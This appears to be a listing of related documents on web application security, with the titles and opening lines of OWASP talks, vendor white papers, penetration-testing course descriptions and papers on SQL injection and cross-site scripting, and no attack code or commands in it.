OWASP Top Ten Tools and Tactics Russ McRee Copyright 2012 HolisticInfoSec.org SANSFIRE 2012 10 JULY Welcome Manager, Security Analytics for Microsoft Online Services Security & Compliance Writer (toolsmith),
Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca)
Bug Report Date: March 19, 2011 Reporter: Chris Jarabek (cjjarabe@ucalgary.ca) Software: Kimai Version: 0.9.1.1205 Website: http://www.kimai.org Description: Kimai is a web based time-tracking application.
Advanced Security for Systems Engineering VO 01: Web Application Security
Advanced Security for Systems Engineering VO 01: Web Application Security Stefan Taber, Christian Schanes INSO Industrial Software Institute of Computer Aided Automation Faculty of Informatics TU Wien
Barracuda Web Site Firewall Ensures PCI DSS Compliance
Barracuda Web Site Firewall Ensures PCI DSS Compliance E-commerce sales are estimated to reach $259.1 billion in 2007, up from the $219.9 billion earned in 2006, according to The State of Retailing Online
Application Security Testing. Generic Test Strategy
Application Security Testing Generic Test Strategy Page 2 of 8 Contents 1 Introduction 3 1.1 Purpose: 3 1.2 Application Security Testing: 3 2 Audience 3 3 Test Strategy guidelines 3 3.1 Authentication
Web Application Vulnerabilities and Avoiding Application Exposure
Web Application Vulnerabilities and Avoiding Application Exposure The introduction of BIG-IP Application Security Manager (ASM) version 9.4.2 marks a major step forward. BIG-IP ASM now offers more features
OWASP AND APPLICATION SECURITY
SECURING THE 3DEXPERIENCE PLATFORM OWASP AND APPLICATION SECURITY Milan Bruchter/Shutterstock.com WHITE PAPER EXECUTIVE SUMMARY As part of Dassault Systèmes efforts to counter threats of hacking, particularly
Perl In Secure Web Development
Perl In Secure Web Development Jonathan Worthington (jonathan@jwcs.net) August 31, 2005 Perl is used extensively today to build server side web applications. Using the vast array of modules on CPAN, one
Intrusion detection for web applications
Intrusion detection for web applications Intrusion detection for web applications Łukasz Pilorz Application Security Team, Allegro.pl Reasons for using IDS solutions known weaknesses and vulnerabilities
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks Whitepaper The security industry has extensively focused on protecting against malicious injection attacks like
Application Security Best Practices. Wally LEE <wally.lee@scs.com.sg> Principal Consultant
Application Security Best Practices Wally LEE Principal Consultant 17/18 March 2009 Speaker Profile Wally LEE CISSP BS7799 Lead Auditor Certified Ultimate Hacking Instructor Certified
Web Application Hacking (Penetration Testing) 5-day Hands-On Course
Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Course Description Our web sites are under attack on a daily basis
Web Application Security Assessment and Vulnerability Mitigation Tests
White paper BMC Remedy Action Request System 7.6.04 Web Application Security Assessment and Vulnerability Mitigation Tests January 2011 www.bmc.com Contacting BMC Software You can access the BMC Software
Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com
SAINT Integrated Network Vulnerability Scanning and Penetration Testing www.saintcorporation.com Introduction While network vulnerability scanning is an important tool in proactive network security, penetration
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES AUTHOR: Chema Alonso Informática 64. Microsoft MVP Enterprise Security Hello and welcome to Intypedia.
AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM
AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM A whitepaper from Watchfire TABLE OF CONTENTS Introduction 1 Full Explanation The XSS Technique. 1 Scope and Feasibility.. 3 Variations on
Web Application Penetration Testing
Web Application Penetration Testing 2010 2010 AT&T Intellectual Property. All rights reserved. AT&T and the AT&T logo are trademarks of AT&T Intellectual Property. Will Bechtel William.Bechtel@att.com
White Paper. Blindfolded SQL Injection
White Paper In the past few years, SQL Injection attacks have been on the rise. The increase in the number of Database based applications, combined with various publications that explain the problem and
Web application security: Testing for vulnerabilities
Web application security: Testing for vulnerabilities Using open source tools to test your site Jeff Orloff Technology Coordinator/Consultant Sequoia Media Services Inc. Skill Level: Intermediate Date:
Start Secure. Stay Secure. Blind SQL Injection. Are your web applications vulnerable? By Kevin Spett
Are your web applications vulnerable? By Kevin Spett Table of Contents Introduction 1 What is? 1 Detecting Vulnerability 2 Exploiting the Vulnerability 3 Solutions 6 The Business Case for Application Security